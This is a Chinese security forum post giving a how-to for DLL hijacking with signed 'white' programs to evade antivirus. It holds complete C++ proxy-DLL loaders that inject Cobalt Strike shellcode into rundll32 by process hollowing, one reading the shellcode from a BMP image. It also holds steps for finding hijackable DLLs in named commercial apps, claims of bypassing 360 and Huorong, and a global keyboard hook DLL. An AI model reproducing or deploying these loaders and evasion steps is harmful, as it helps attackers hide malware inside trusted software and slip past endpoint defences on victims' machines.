安全矩阵

 找回密码
 立即注册
搜索
查看: 1317|回复: 0

浅谈dll劫持-白加黑免杀指南

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 22:04:14 | 显示全部楼层 |阅读模式
  1. <p>目录</p><p>
  2. </p><p>前置知识</p><p>
  3. </p><p>dll加载</p><p>
  4. </p><p>dll寻找</p><p>
  5. </p><p>DLL劫持-白加黑-导入加载</p><p>
  6. </p><p>DLL劫持-白加黑-导出编译</p><p>
  7. </p><p>DLL劫持-白加黑-图片分离</p><p>
  8. </p><p>hook+dll</p><p>
  9. </p><p>原理</p><p>
  10. </p><p>win api</p><p>
  11. </p><p>核心代码</p><p>
  12. </p><p>注意事项</p>
复制代码

前置知识
基础技能

c语言基本知识
win32 API 知识
会在微软官网查询API
PE结构知识
原理

DLL劫持的原理主要就是windows下加载DLL的顺序。在加载DLL的时候,系统会依次从以下六个位置去查找所需要的DLL文件

程序所在目录
系统目录
16位系统目录
Windows目录
当前目录
PATH环境变量中的各个目录
dll加载
dllmain.cpp
  1. <p>
  2. </p><p>// dllmain.cpp : 定义 DLL 应用程序的入口点。</p><p>#include "pch.h"</p><p>#include <Windows.h></p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p>    DWORD  ul_reason_for_call,</p><p>    LPVOID lpReserved</p><p>)</p><p>{</p><p>    switch (ul_reason_for_call)</p><p>    {</p><p>    case DLL_PROCESS_ATTACH:</p><p>        WinExec("calc.exe", SW_NORMAL);</p><p>        break;</p><p>    case DLL_THREAD_ATTACH:</p><p>    case DLL_THREAD_DETACH:</p><p>    case DLL_PROCESS_DETACH:</p><p>        break;</p><p>    }</p><p>    return TRUE;</p><p>}</p><p>void msg() {</p><p>    MessageBox(0, L"Dll-1 load  succeed!", 0, 0);</p><p>}</p><p>framework.h</p><p>
  3. </p><p>#pragma once</p><p>
  4. </p><p>#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容</p><p>// Windows 头文件</p><p>#include <windows.h></p><p>extern"C" __declspec(dllexport) void msg(void);</p><p>a.c</p><p>
  5. </p><p>#include <stdio.h></p><p>#include <Windows.h></p><p>typedef void(*msg)();</p><p>
  6. </p><p>int main()</p><p>{</p><p>    // 定义一个函数类DLLFUNC</p><p>    HMODULE hDll = LoadLibrary(L"Dll1.dll");</p><p>    if (hDll == NULL) {</p><p>        printf("1");</p><p>        return0;</p><p>    }</p><p>    msg func = (msg)GetProcAddress(hDll, "msg");</p><p>    if (func != NULL) {</p><p>        //运行msg函数</p><p>        (*func)();</p><p>    }</p><p>    return0;</p><p>}</p><p>dll寻找</p><p>Process Monitor</p><p>
  7. </p><p>Include</p><p>Operation is CreateFile</p><p>
  8. </p><p>Operation is LoadImage</p><p>
  9. </p><p>Operation is QueryOpen</p><p>
  10. </p><p>Path contains .dll</p><p>
  11. </p><p>processname is kk.exe</p><p>
  12. </p><p>Path begins with C:\test\KKcapture</p><p>
  13. </p><p>Exclude</p><p>Result is SUCCESS</p>
复制代码


过滤参考
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Path begins with C:\test\KKcapture

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
windbg/procexp

均可一键导出加载的dll

打开待测exe文件
用Process Explorer查看待测exe打开调用的dll
ctrl+s保存文件,使用脚本文件处理,得到一个新的纯dll列表的文件
关闭待测软件,找到exe文件路径
打开chkDllhiJack,将待测exe文件路径以及dll列表填入相对应的位置,点击检测or运行
如果存在dll劫持漏洞,则输出框内出现对应的dll文件名;如果不存在,则提示no valid xxx;
复制payload.dll文件(打开计算器),改名为对应的dll文件名,放在exe文件同一路径下,双击exe文件,查看打开exe文件的同时是否开启了计算器。
DLL劫持-白加黑-导入加载
procexp/火绒剑 分析dll,选择一个dll文件来进行劫持,尽量找文件较小的dll文件
  1. <p>
  2. </p><p>// dllmain.cpp : 定义 DLL 应用程序的入口点。</p><p>#include "pch.h"</p><p>#include<windows.h></p><p>#include<iostream></p><p>HANDLE My_hThread = NULL;</p><p>unsignedchar shellcode[] = "";</p><p>//CS生成32位shellcode</p><p>DWORD  WINAPI  ceshi(LPVOID pParameter)</p><p>{</p><p>    __asm</p><p>    {</p><p>        mov eax, offset shellcode</p><p>        jmp eax</p><p>    }</p><p>    return0;</p><p>}</p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p>    DWORD  ul_reason_for_call,</p><p>    LPVOID lpReserved</p><p>)</p><p>{</p><p>    switch (ul_reason_for_call)</p><p>    {</p><p>    case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码</p><p>        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程</p><p>    case DLL_THREAD_ATTACH:</p><p>    case DLL_THREAD_DETACH:</p><p>    case DLL_PROCESS_DETACH:</p><p>        break;</p><p>    }</p><p>    return TRUE;</p><p>}</p><p>extern"C" _declspec(dllexport) void test()</p><p>{</p><p>    int a;</p><p>    a = 0;</p><p>}</p>
复制代码

接下来利用Stud_PE来加载我们生成的dll,将修改后的libfontconfig-1.dll以及我们生产的dll文件都拖到kk录像机安装目录



dll被杀烂了,尝试强加密绕过杀软

DLL劫持-白加黑-导出编译
cloudmusic_reporter.exe(并发现是32位程序)单独复制出来运行会产生报错缺少dll文件。将缺失的dll文件复制到相同文件夹后即可成功运行

使用Dependencies工具对krpt.dll进行反编译,导出krpt.dll源码
使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。
选中dll源码拖入项目,工具就会自动加载源码
打开asm文件,将所有的jmp语句删除
根据文件中的教程,选中文件——右键属性——修改——点击应用
项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)
预编译头——不使用预编译头
链接器——调试——生成调试信息——选择否
  1. <p>在libcurl.c中添加一句#include "pch.h"</p><p>完整代码结构如下</p><p>
  2. </p><p>framework.h</p><p>
  3. </p><p>#pragma once</p><p>
  4. </p><p>#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容</p><p>// Windows 头文件</p><p>#include <windows.h></p><p>libcurl.h</p><p>
  5. </p><p>#ifndef libcurl_H</p><p>#define libcurl_H</p><p>//aheadlib plugin for csharp.by snikeguo,email:408260925@qq.com</p><p>//codegen time:2023-11-24 11:06:32:169</p><p>#include<Windows.h></p><p>#include<Shlwapi.h></p><p>extern PVOID pfnAL_curl_easy_cleanup;//curl_easy_cleanup</p><p>.......</p><p>pch.h</p><p>
  6. </p><p>// pch.h: 这是预编译标的头文件。</p><p>// 下方列出的文件仅编译一次,提高了将来生成的生成性能。</p><p>// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。</p><p>// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。</p><p>// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。</p><p>
  7. </p><p>#ifndef PCH_H</p><p>#define PCH_H</p><p>
  8. </p><p>// 添加要在此处预编译的标头</p><p>#include "framework.h"</p><p>
  9. </p><p>#endif //PCH_H</p>
复制代码

dllmain.cpp
  1. <p>
  2. </p><p>// dllmain.cpp : 定义 DLL 应用程序的入口点。</p><p>#include "pch.h"</p><p>#include <Windows.h></p><p>#include "libcurl.h"</p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p>    DWORD  ul_reason_for_call,</p><p>    LPVOID lpReserved</p><p>)</p><p>{</p><p>    switch (ul_reason_for_call)</p><p>    {</p><p>    case DLL_PROCESS_ATTACH:</p><p>        MessageBox(0, L"Dll-1 load  succeed!", 0, 0);</p><p>        break;</p><p>    case DLL_THREAD_ATTACH:</p><p>    case DLL_THREAD_DETACH:</p><p>    case DLL_PROCESS_DETACH:</p><p>        break;</p><p>    }</p><p>    return TRUE;</p><p>}</p><p>void msg() {</p><p>    MessageBox(0, L"Dll-1 load  succeed!", 0, 0);</p><p>}</p><p>libcurl.c</p><p>
  3. </p><p>#include"libcurl.h"</p><p>#include "pch.h"</p><p>........</p><p>libcurl_jump.asm</p><p>
  4. </p><p>.686P</p><p>.MODEL FLAT,C</p><p>.DATA</p><p>.......</p><p>pch.cpp</p><p>
  5. </p><p>// pch.cpp: 与预编译标头对应的源文件</p><p>
  6. </p><p>#include "pch.h"</p><p>
  7. </p><p>// 当使用预编译头时,需要使用此源文件,编译才能成功。</p><p>
  8. </p><p>py脚本</p><p>
  9. </p><p>处理dll格式</p><p>
  10. </p><p>with open('a.txt','r',encoding="utf-8") as f:</p><p>    for i in f:</p><p>        print(i.split('<span style="white-space:pre">        </span>')[-1])</p><p>处理jmp</p><p>
  11. </p><p>with open('a.txt','r',encoding="utf-8") as f:</p><p>    for i in f:</p><p>        if "jmp" not in i:</p><p>            print(i)</p><p>成功弹出计算器,换成上线代码dllmain.cpp</p><p>
  12. </p><p>// dllmain.cpp : 定义 DLL 应用程序的入口点。</p><p>#include "pch.h"</p><p>#include <Windows.h></p><p>#include "libcurl.h"</p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p><span style="white-space:pre">        </span>DWORD  ul_reason_for_call,</p><p><span style="white-space:pre">        </span>LPVOID lpReserved</p><p>)</p><p>{</p><p><span style="white-space:pre">        </span>switch (ul_reason_for_call)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">        </span>case DLL_PROCESS_ATTACH:</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>unsigned char hexData[] = "";</p><p><span style="white-space:pre">                </span>char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);</p><p><span style="white-space:pre">                </span>memcpy((void*)v7A, hexData, _countof(hexData));</p><p>
  13. </p><p><span style="white-space:pre">                </span>struct _PROCESS_INFORMATION ProcessInformation;</p><p><span style="white-space:pre">                </span>struct _STARTUPINFOA StartupInfo;</p><p><span style="white-space:pre">                </span>void* v24;</p><p><span style="white-space:pre">                </span>CONTEXT Context;</p><p><span style="white-space:pre">                </span>DWORD DwWrite = 0;</p><p><span style="white-space:pre">                </span>memset(&StartupInfo, 0, sizeof(StartupInfo));</p><p><span style="white-space:pre">                </span>StartupInfo.cb = 68;</p><p><span style="white-space:pre">                </span>BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);</p><p><span style="white-space:pre">                </span>if (result)</p><p><span style="white-space:pre">                </span>{</p><p><span style="white-space:pre">                        </span>Context.ContextFlags = 65539;</p><p><span style="white-space:pre">                        </span>GetThreadContext(ProcessInformation.hThread, &Context);</p><p><span style="white-space:pre">                        </span>v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);</p><p><span style="white-space:pre">                        </span>WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);</p><p><span style="white-space:pre">                        </span>Context.Eip = (DWORD)v24;</p><p><span style="white-space:pre">                        </span>SetThreadContext(ProcessInformation.hThread, &Context);</p><p><span style="white-space:pre">                        </span>ResumeThread(ProcessInformation.hThread);</p><p><span style="white-space:pre">                        </span>CloseHandle(ProcessInformation.hThread);</p><p><span style="white-space:pre">                        </span>result = CloseHandle(ProcessInformation.hProcess);</p><p><span style="white-space:pre">                </span>}</p><p>
  14. </p><p>
  15. </p><p><span style="white-space:pre">                </span>TerminateProcess(GetCurrentProcess(), 0);</p><p><span style="white-space:pre">        </span>};</p><p>
  16. </p><p><span style="white-space:pre">        </span>case DLL_THREAD_ATTACH:</p><p><span style="white-space:pre">        </span>case DLL_THREAD_DETACH:</p><p><span style="white-space:pre">        </span>case DLL_PROCESS_DETACH:</p><p><span style="white-space:pre">                </span>break;</p><p><span style="white-space:pre">        </span>}</p><p><span style="white-space:pre">        </span>return TRUE;</p><p>}</p>
复制代码




成功过360,测试发现火绒也可绕过

DLL劫持-白加黑-图片分离
python2 dkmc.py
gen
set shellcode 这里是CS的shellcode
run
dllmain.cpp
  1. <p>
  2. </p><p>#define _CRT_SECURE_NO_DEPRECATE </p><p>#include "framework.h"</p><p>#include "windows.h"</p><p>#include "libcurl.h"</p><p>#include <stdlib.h></p><p>#include <stdio.h></p><p>
  3. </p><p>
  4. </p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p>    DWORD  ul_reason_for_call,</p><p>    LPVOID lpReserved</p><p>)</p><p>{</p><p>    switch (ul_reason_for_call)</p><p>    {</p><p>    case DLL_PROCESS_ATTACH:</p><p>    {</p><p>        FILE* fp;  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义</p><p>        size_t size;  // 定义文件字节数变量size</p><p>        unsigned char* buffer;  // 定义缓存指针变量</p><p>
  5. </p><p>        fp = fopen("output-1700840239.bmp", "rb");<span style="white-space:pre">        </span>//****修改为上方生成的图片****</p><p>        // fseek()负号前移,正号后移</p><p>        fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾</p><p>        // ftell()返回给定流 stream 的当前文件位置</p><p>        size = ftell(fp);                // size值为文件大小</p><p>        fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头</p><p>        buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)</p><p>        fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据</p><p>
  6. </p><p>        char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);</p><p>        memcpy((void*)v7A, buffer, size);</p><p>
  7. </p><p>        struct _PROCESS_INFORMATION ProcessInformation;</p><p>        struct _STARTUPINFOA StartupInfo;</p><p>        void* v24;</p><p>        CONTEXT Context;</p><p>        DWORD DwWrite = 0;</p><p>        memset(&StartupInfo, 0, sizeof(StartupInfo));</p><p>        StartupInfo.cb = 68;</p><p>        BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);</p><p>        if (result)</p><p>        {</p><p>            Context.ContextFlags = 65539;</p><p>            GetThreadContext(ProcessInformation.hThread, &Context);</p><p>            v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);</p><p>            WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, &DwWrite);</p><p>            Context.Eip = (DWORD)v24;</p><p>            SetThreadContext(ProcessInformation.hThread, &Context);</p><p>            ResumeThread(ProcessInformation.hThread);</p><p>            CloseHandle(ProcessInformation.hThread);</p><p>            result = CloseHandle(ProcessInformation.hProcess);</p><p>        }</p><p>
  8. </p><p>
  9. </p><p>        TerminateProcess(GetCurrentProcess(), 0);</p><p>    };</p><p>    case DLL_THREAD_ATTACH:</p><p>    case DLL_THREAD_DETACH:</p><p>    case DLL_PROCESS_DETACH:</p><p>        break;</p><p>    }</p><p>    return TRUE;</p><p>}</p>
复制代码

将exe,dll及图片放在一起再次运行,成功上线

hook+dll
原理
当我们通过键盘输入,系统(OS)会把键盘输入这个事件发送到系统消息队列(OS message queue)
随后系统会从这个消息队列里拿出这个事件,判断这个输入是在哪个程序发生的。
发送到输入发生地程序的消息列表中(application message queue)
目标程序把键盘输入的事件拿出,执行并显示



win api
HINSTANCE和HMODULE

HINSTANCE的本质是模块基地址,他仅仅在同一进程中才有意义,跨进程的HINSTANCE是没有意义
HMODULE 是代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
HINSTANCE 在win32下与HMODULE是相同的东西(只有在16位windows上,二者有所不同).
SetWindowsHookExW

HHOOK SetWindowsHookExW(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);

idHook 如键盘事件WH_KEYBOARD,安装监视击键消息的挂钩过程
HOOKPROC lpfn——钩子的处理函数,若设置的是键盘输入钩子,必须是微软定义的一个叫KeyboardProc的函数。
HINSTANCE hmod——模块句柄,因此一般设置钩子的地方在DLL中。
DWORD dwThreadId——需要设置钩子的线程ID,倘若为0则为全局钩子(所有程序都钩)。
KeyboardProc

LRESULT CALLBACK KeyboardProc(
  _In_ int    code,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

code 如果小于零,挂钩过程必须将消息传递给 CallNextHookEx 函数,而无需进一步处理,并且应返回 CallNextHookEx 返回的值
wParam 生成击键消息的密钥的虚拟密钥代码。
lParam 31转换状态,如果按下键,则值为 0;如果释放键,则值为 1。
!(lParam & 0x80000000) 第三十二位的1和lParam的31位相与运算,按下键时判断为真
EXTERN_C,__declspec(dllexport)

#define EXTERN_C       extern "C"
__declspec(dllexport)关键字从 DLL 中导出数据、函数、类或类成员函数
GetLastError

返回值是调用线程的最后错误代码
UnhookWindowsHookEx

BOOL UnhookWindowsHookEx(
  [in] HHOOK hhk
);
删除 SetWindowsHookEx 函数安装在挂钩链中的挂钩过程。
hhk 要移除的挂钩的句柄
DllMain

BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);
hinstDLL DLL 模块的句柄,值是 DLL 的基址
GetModuleFileNameA

检索包含指定模块的文件的完全限定路径,模块必须已由当前进程加载
DWORD GetModuleFileNameA(
  [in, optional] HMODULE hModule,
  [out]          LPSTR   lpFilename,
  [in]           DWORD   nSize
);
hModule 正在请求其路径的已加载模块的句柄.此参数为 NULL,则 GetModuleFileName 将检索当前进程的可执行文件的路径
strrchr

C 库函数 char *strrchr(const char *str, int c) 在参数 str 所指向的字符串中搜索最后一次出现字符 c(一个无符号字符)的位置。
如果找到字符,它将返回一个指向该字符的指针,否则返回 NULL
核心代码
dllmain.cpp
  1. <p>
  2. </p><p>// dllmain.cpp : 定义 DLL 应用程序的入口点。</p><p>#include "pch.h"</p><p>#include <Windows.h></p><p>#include <stdio.h></p><p>
  3. </p><p>HINSTANCE g_hDll;</p><p>HHOOK g_hHook;</p><p>
  4. </p><p>BOOL APIENTRY DllMain(HMODULE hModule,</p><p><span style="white-space:pre">        </span>DWORD  ul_reason_for_call,</p><p><span style="white-space:pre">        </span>LPVOID lpReserved)</p><p>{</p><p><span style="white-space:pre">        </span>switch (ul_reason_for_call)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">        </span>case DLL_PROCESS_ATTACH:</p><p><span style="white-space:pre">                </span>g_hDll = hModule;</p><p><span style="white-space:pre">                </span>break;</p><p><span style="white-space:pre">        </span>case DLL_THREAD_ATTACH:</p><p><span style="white-space:pre">        </span>case DLL_THREAD_DETACH:</p><p><span style="white-space:pre">        </span>case DLL_PROCESS_DETACH:</p><p><span style="white-space:pre">                </span>break;</p><p><span style="white-space:pre">        </span>}</p><p><span style="white-space:pre">        </span>return TRUE;</p><p>}</p><p>
  5. </p><p>LRESULT CALLBACK KeyboarProc(int nCode, WPARAM wParam, LPARAM lParam)</p><p>{</p><p><span style="white-space:pre">        </span>char szPath[MAX_PATH];</p><p><span style="white-space:pre">        </span>char* p = NULL;</p><p><span style="white-space:pre">        </span>if (nCode >= 0)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>if (!(lParam & 0x80000000))</p><p><span style="white-space:pre">                </span>{</p><p><span style="white-space:pre">                        </span>GetModuleFileNameA(NULL, szPath, MAX_PATH);</p><p><span style="white-space:pre">                        </span>p = strrchr(szPath, '\\');</p><p><span style="white-space:pre">                        </span>if (!_stricmp(p + 1, "notepad.exe"))//只对notepad进程拦截</p><p><span style="white-space:pre">                        </span>{</p><p><span style="white-space:pre">                                </span>return1;</p><p><span style="white-space:pre">                        </span>}</p><p><span style="white-space:pre">                </span>}</p><p><span style="white-space:pre">        </span>}</p><p><span style="white-space:pre">        </span>return CallNextHookEx(g_hHook, nCode, wParam, lParam);</p><p>}</p><p>
  6. </p><p>EXTERN_C __declspec(dllexport) void HookStart()</p><p>{</p><p><span style="white-space:pre">        </span>g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboarProc, g_hDll, 0);</p><p><span style="white-space:pre">        </span>DWORD errCode = GetLastError();</p><p><span style="white-space:pre">        </span>printf("%d", errCode);</p><p>}</p><p>
  7. </p><p>EXTERN_C __declspec(dllexport) void HookStop()</p><p>{</p><p><span style="white-space:pre">        </span>if (g_hHook)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>UnhookWindowsHookEx(g_hHook);</p><p><span style="white-space:pre">                </span>g_hHook = NULL;</p><p><span style="white-space:pre">        </span>}</p><p>}</p><p>inject.c</p><p>
  8. </p><p>//hook.cpp</p><p>#include <Windows.h></p><p>#include <conio.h></p><p>#include <stdio.h></p><p>
  9. </p><p>typedef void(*HOOKSTART)();</p><p>typedef void(*HOOKSTOP)();</p><p>
  10. </p><p>int main()</p><p>{</p><p><span style="white-space:pre">        </span>HMODULE hDll = LoadLibrary(L"KeyHook.dll");</p><p><span style="white-space:pre">        </span>if (!hDll)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>return0;</p><p><span style="white-space:pre">        </span>}</p><p>
  11. </p><p><span style="white-space:pre">        </span>HOOKSTART hookStart = (HOOKSTART)GetProcAddress(hDll, "HookStart");</p><p><span style="white-space:pre">        </span>if (!hookStart)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>return0;</p><p><span style="white-space:pre">        </span>}</p><p><span style="white-space:pre">        </span>HOOKSTOP hookStop = (HOOKSTOP)GetProcAddress(hDll, "HookStop");</p><p><span style="white-space:pre">        </span>if (!hookStop)</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">                </span>return0;</p><p><span style="white-space:pre">        </span>}</p><p><span style="white-space:pre">        </span>hookStart();</p><p><span style="white-space:pre">        </span>printf("press 'q' to quit\n");</p><p>
  12. </p><p><span style="white-space:pre">        </span>while (_getch() != 'q')</p><p><span style="white-space:pre">        </span>{</p><p><span style="white-space:pre">        </span>}</p><p>
  13. </p><p><span style="white-space:pre">        </span>hookStop();</p><p>
  14. </p><p><span style="white-space:pre">        </span>FreeLibrary(hDll);</p><p>}</p>
复制代码

效果展示

typora可以正常输入,但是输入时被加载KeyHook.dll
notepad无法输入,且按下键盘被加载KeyHook.dll



注意事项
电脑为64位,所以应该编译成64位运行,否则32位的DLL不能注入64位的程序就会整个窗口卡住。即按键事件分发不到具体的钩子处理函数,而事件已经被标志为已挂钩,必须找到处理函数。这就会产生事件无法得到处理,程序卡死的现象


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:48 , Processed in 0.013746 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表